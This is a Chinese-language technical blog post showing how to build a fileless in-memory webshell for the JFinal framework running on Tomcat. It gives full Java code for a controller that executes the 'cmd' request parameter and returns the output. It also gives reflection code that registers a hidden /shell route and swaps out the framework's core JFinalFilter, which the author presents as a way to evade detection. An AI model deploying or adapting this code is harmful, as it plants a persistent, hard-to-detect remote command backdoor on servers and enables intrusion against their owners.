看了师傅们的Tomcat和SpringMVC内存马思路
于是我尝试找了个国产框架分析,经过不少的坑,成功造出了内存马
核心原理类似Filter型Tomcat内存马,不过又有较大的区别
在成功分析内存马的时候,有了进一步的思考,也许一些思路可以用于Tomcat内存马的进阶免杀
框架名称是JFinal,在国内Java开发圈子中名气不错,应用范围不如Spring不过也不算冷门
github地址为:https://github.com/jfinal/jfinal
目前该项目有3.1K的Star
该框架有点类似SpringMVC,基于Tomcat,路由控制也叫做Controller
xxxxxxxxxx("/test")public class TestController extends Controller { public void index(){ String param = getPara("param"); }}添加路由需要编写一个类继承自JFinalConfig类,重写configRoute方法,按照如下的方式添加
xxxxxxxxxxpublic class DemoConfig extends JFinalConfig { public void configRoute(Routes me) { me.add("/hello", HelloController.class); me.add("/test", TestController.class); }}在web.xml中需要配置一个核心Filter,其中初始化参数为上文的配置类
xxxxxxxxxx<filter> <filter-name>jfinal</filter-name> <filter-class>com.jfinal.core.JFinalFilter</filter-class> <init-param> <param-name>configClass</param-name> <param-value>org.sec.jdemo.DemoConfig</param-value> </init-param></filter><filter-mapping> <filter-name>jfinal</filter-name> <url-pattern>/*</url-pattern></filter-mapping>这个核心Filter代码如下,删减了无用的部分
xxxxxxxxxxpublic class JFinalFilter implements Filter { protected JFinalConfig jfinalConfig; ... protected Handler handler; // 单例模式的JFinal类 protected static final JFinal jfinal = JFinal.me(); // 允许空参构造 public JFinalFilter() { this.jfinalConfig = null; } // 构造 public JFinalFilter(JFinalConfig jfinalConfig) { this.jfinalConfig = jfinalConfig; } // 初始化 ("deprecation") public void init(FilterConfig filterConfig) throws ServletException { // 空参构造会根据上文配置类生成配置信息 if (jfinalConfig == null) { // 解析配置类 createJFinalConfig(filterConfig.getInitParameter("configClass")); } // 初始化 jfinal.init(jfinalConfig, filterConfig.getServletContext()); ... // 处理请求相关交给handler handler = jfinal.getHandler(); } public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { ... // 处理请求 handler.handle(target, request, response, isHandled); ... // 继续传递Filter chain.doFilter(request, response); } // 空参构造会调用这里 protected void createJFinalConfig(String configClass) { // 如果配置类为空则报错 if (configClass == null) { throw new RuntimeException("The configClass parameter of JFinalFilter can not be blank"); } try { // 反射加载配置类 Object temp = Class.forName(configClass).newInstance(); jfinalConfig = (JFinalConfig)temp; } catch (ReflectiveOperationException e) { throw new RuntimeException("Can not create instance of class: " + configClass, e); } }}源码大致看到这里就可以了,其中的一些坑将在后文分析
Jfinal不如SpringMVC完善,导致了一些困难
例如它没有Spring的Context,也没有各种register*接口供用户动态注册
添加内存马的思路很简单,想办法注册一个路由,映射到恶意的代码造成RCE
所以首先需要分析框架如何处理请求的
所有的映射关系都保存在这样的一个类中
xxxxxxxxxxpublic class ActionMapping { // 用户配置的路由 protected Routes routes; // 映射关系的记录: /test->Action protected Map<String, Action> mapping = new HashMap<String, Action>(2048, 0.5F); // 构造 public ActionMapping(Routes routes) { this.routes = routes; } // 这个方法较长 // 目的很简单:routes转mapping protected void buildActionMapping() {...}在ActionHandler类中处理请求,该类比较复杂
xxxxxxxxxxpublic class ActionHandler extends Handler { // 映射关系记录 protected ActionMapping actionMapping; // 注意这个方法 protected void init(ActionMapping actionMapping, Constants constants) { this.actionMapping = actionMapping; ... } ... protected Action getAction(String target, String[] urlPara) { // 从映射关系里查找 return actionMapping.getAction(target, urlPara); } // 处理请求 public void handle(String target, HttpServletRequest request, HttpServletResponse response, boolean[] isHandled) { if (target.indexOf('.') != -1) { return ; } ... Action action = getAction(target, urlPara); // 没有这个映射关系返回404 if (action == null) { if (log.isWarnEnabled()) { log.warn("404 Action Not Found: " + (qs == null ? target : target + "?" + qs)); } return ; } ... }}其实看完ActionHandler方法后大概有思路了,构造一个新的映射关系,替换全局变量actionMapping
然而不现实,因为该变量是非静态的,无法反射获取,无法做到直接获取JVM中的对象
所以只能走init方法,寻找构造ActionHandler类的地方,分析传入的ActionMapping参数是否可控
在JFinal类找到唯一的一处调用init方法代码
不过有了新的问题:JFinal类的Handler属性和actionMapping都不可以反射设置
先静心继续分析,总会有突破口
xxxxxxxxxxprivate Handler handler;private ActionMapping actionMapping;
private void initHandler() { ActionHandler actionHandler = Config.getHandlers().getActionHandler(); if (actionHandler == null) { actionHandler = new ActionHandler(); }
actionHandler.init(actionMapping, constants); handler = HandlerFactory.getHandler(Config.getHandlers().getHandlerList(), actionHandler);}
Handler getHandler() { return handler;}注意到handler的一处对外方法getHandler
寻找调用点,在JfinalFilter的init方法中被调用
xxxxxxxxxx// Handlerprotected Handler handler;// 单例模式的Jfinal对象protected static final JFinal jfinal = JFinal.me();public void init(FilterConfig filterConfig) throws ServletException { if (jfinalConfig == null) { createJFinalConfig(filterConfig.getInitParameter("configClass")); }
jfinal.init(jfinalConfig, filterConfig.getServletContext()); ... // 这里被调用 handler = jfinal.getHandler(); }在init方法被初始化ActionHandler后,在doFilter方法中调用
看到handler.handle方法,大概有了新思路
xxxxxxxxxxpublic void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { ... // 处理请求 handler.handle(target, request, response, isHandled); ... // 继续传递Filter chain.doFilter(request, response);}只要可以操作JFinalFilter的ActionHandler属性,设置其中的ActionMapping为添加了恶意的映射,在doFilter方法中调用handle方法,使请求可以匹配到恶意Controller进而实现内存马
不过JFinalFilter的ActionHandler非静态属性是不可以反射设置的
唯一设置的地方在这里:jfinal.getHandler();
这个jfinal是什么东西?
xxxxxxxxxxprotected static final JFinal jfinal = JFinal.me();这是一个静态JFinal类变量,虽然反射设置final属性比较麻烦,但可以设置了,找到突破点!
结合以上的思路,构造出一个恶意的JFinal类,设置对应的属性,反射调用initHandler方法得到目标ActionHandler
然后设置JFinalFilter的JFinal属性为构造的恶意类,这时候触发JFinalFilter的init方法即可实现添加路由
新的问题出现,无法设置JVM中的JFinalFilter对象的属性,只能设置新对象的属性
于是想到一个巧妙的手法:
Tomcat删除Filter代码,删除目前的JFinalFilterJFinalFilter,甚至不需要手动触发init方法即可实现内存马又有一个新的问题,目前运行环境已有了的路由会和新的冲突
例如已有/hello如果重新注册Filter会再次加载配置文件,处理其中的/hello会报错
我们新增的内存马路由排序是位于/hello之后的,抛出异常后导致无法处理内存马路由
xxxxxxxxxxAction action = new Action(controllerPath, actionKey, controllerClass, method, methodName, actionInters, route.getFinalViewPath(routes.getBaseViewPath()));if (mapping.put(actionKey, action) != null) { throw new RuntimeException(buildMsg(actionKey, controllerClass, method));}解决起来不麻烦,自己造一个空的配置文件,并设置到JFinalFilter调用init方法的参数
xxxxxxxxxxpublic class EmptyConfig extends JFinalConfig { public void configConstant(Constants me) {
}
public void configRoute(Routes me) {
}
public void configEngine(Engine me) {
}
public void configPlugin(Plugins me) {
}
public void configInterceptor(Interceptors me) {
}
public void configHandler(Handlers me) {
}}在JFinalFilter的init方法中,如果filterConfig存在,如果不为空那么就不会解析配置,成功绕过
(这个空文件和null要区分开,空文件是为了防止路由冲突)
这时获取到的handler就是恶意构造的
xxxxxxxxxxprotected JFinalConfig jfinalConfig;public void init(FilterConfig filterConfig) throws ServletException { if (jfinalConfig == null) { createJFinalConfig(filterConfig.getInitParameter("configClass")); } ... handler = jfinal.getHandler();}
思路清晰后就剩代码实现了
首先来一个恶意的Controller
xxxxxxxxxxpublic class ShellController extends Controller { public void index() throws Exception { String cmd = getPara("cmd"); // 简单的回显马 Process process = Runtime.getRuntime().exec(cmd); StringBuilder outStr = new StringBuilder(); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream()); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s).append("\n"); } renderText(outStr.toString()); }}添加恶意路由
xxxxxxxxxxClass<?> clazz = Class.forName("com.jfinal.core.Config");Field routes = clazz.getDeclaredField("routes");routes.setAccessible(true);Routes r = (Routes) routes.get(Routes.class);r.add("/shell", ShellController.class);构造恶意JFinal对象并设置ActionMapping属性
xxxxxxxxxxClass<?> jfClazz = Class.forName("com.jfinal.core.JFinal");// 拿到当前单例模式对象Field me = jfClazz.getDeclaredField("me");me.setAccessible(true);JFinal instance = (JFinal) me.get(JFinal.class);// 属性Field mapping = instance.getClass().getDeclaredField("actionMapping");mapping.setAccessible(true);// 构造恶意的ActionMapping对象ActionMapping actionMapping = new ActionMapping(r);// 设置了ActionMapping对象的Routes属性还不够// 需要调用ActionMapping的buildActionMapping把Routes转为MappingMethod build = actionMapping.getClass().getDeclaredMethod("buildActionMapping");build.setAccessible(true);build.invoke(actionMapping);// 设置属性mapping.set(instance, actionMapping);这一步也是至关重要,必须调用了JFinal.initHandler才可以调用到ActionHandler.init方法
调用ActionHandler.init方法传入上文设置的恶意ActionMapping才可以构造出恶意的ActionHandler
xxxxxxxxxxMethod initHandler = jfClazz.getDeclaredMethod("initHandler");initHandler.setAccessible(true);initHandler.invoke(instance);构造一个新的JFinalFilter对象
xxxxxxxxxxClass<?> filterClazz = Class.forName("com.jfinal.core.JFinalFilter");JFinalFilter filter = (JFinalFilter) filterClazz.newInstance();设置jfinal属性,对象的final属性操作比较麻烦
xxxxxxxxxxField field = filterClazz.getDeclaredField("jfinal");field.setAccessible(true);Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);// 处理final问题modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);field.set(filter, instance);构造一个空的jfinalConfig并设置到JfinalFilter对象中
xxxxxxxxxxField configField = filterClazz.getDeclaredField("jfinalConfig");configField.setAccessible(true);configField.set(filter,new EmptyConfig());参考c0ny1师傅的删除Filter代码删除已存在的JFinalFilter对象
xxxxxxxxxx// 不依赖request的StandartContextWebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();deleteFilter(standardCtx,"jfinal");添加新的JfinalFilter
xxxxxxxxxxFilterDef filterDef = new FilterDef();filterDef.setFilter(filter);// 这个名字可以确定// 99%的开发者都不会改变filterDef.setFilterName("jfinal");filterDef.setFilterClass(filter.getClass().getName());// 必须设置一个init param参数// 但具体的值可以随意写// 因为已反射设置为空的配置filterDef.addInitParameter("configClass","Test");standardCtx.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("jfinal");filterMap.setDispatcher(DispatcherType.REQUEST.name());standardCtx.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);HashMap<String, Object> filterConfigs = getFilterConfig(standardCtx);filterConfigs.put("jfinal", filterConfig);涉及到的几个方法代码,参考自c0ny1师傅
xxxxxxxxxx// 删除Filterpublic synchronized void deleteFilter(StandardContext standardContext, String filterName) throws Exception { HashMap<String, Object> filterConfig = getFilterConfig(standardContext); Object appFilterConfig = filterConfig.get(filterName); Field _filterDef = appFilterConfig.getClass().getDeclaredField("filterDef"); _filterDef.setAccessible(true); Object filterDef = _filterDef.get(appFilterConfig); Class clsFilterDef = null; try { clsFilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); } catch (Exception e) { clsFilterDef = Class.forName("org.apache.catalina.deploy.FilterDef"); } Method removeFilterDef = standardContext.getClass().getDeclaredMethod("removeFilterDef", new Class[]{clsFilterDef}); removeFilterDef.setAccessible(true); removeFilterDef.invoke(standardContext, filterDef);
Class clsFilterMap = null; try { clsFilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { clsFilterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Object[] filterMaps = getFilterMaps(standardContext); for (Object filterMap : filterMaps) { Field _filterName = filterMap.getClass().getDeclaredField("filterName"); _filterName.setAccessible(true); String filterName0 = (String) _filterName.get(filterMap); if (filterName0.equals(filterName)) { Method removeFilterMap = standardContext.getClass().getDeclaredMethod("removeFilterMap", new Class[]{clsFilterMap}); removeFilterDef.setAccessible(true); removeFilterMap.invoke(standardContext, filterMap); } }}// 获取FilterConfigpublic HashMap<String, Object> getFilterConfig(StandardContext standardContext) throws Exception { Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); _filterConfigs.setAccessible(true); HashMap<String, Object> filterConfigs = (HashMap<String, Object>) _filterConfigs.get(standardContext); return filterConfigs;}// 获取FilterMappublic Object[] getFilterMaps(StandardContext standardContext) throws Exception { Field _filterMaps = standardContext.getClass().getDeclaredField("filterMaps"); _filterMaps.setAccessible(true); Object filterMaps = _filterMaps.get(standardContext); Object[] filterArray = null; try { Field _array = filterMaps.getClass().getDeclaredField("array"); _array.setAccessible(true); filterArray = (Object[]) _array.get(filterMaps); } catch (Exception e) { filterArray = (Object[]) filterMaps; }
return filterArray;}
最终效果

这种替换Filter操作实现的内存马是一种新的免杀思路:
谁都不会想到真正有问题的filter会是核心配置JFinalFilter
不只可以用于JFinal这种,也可以考虑Tomcat的Filter型以及各种其他框架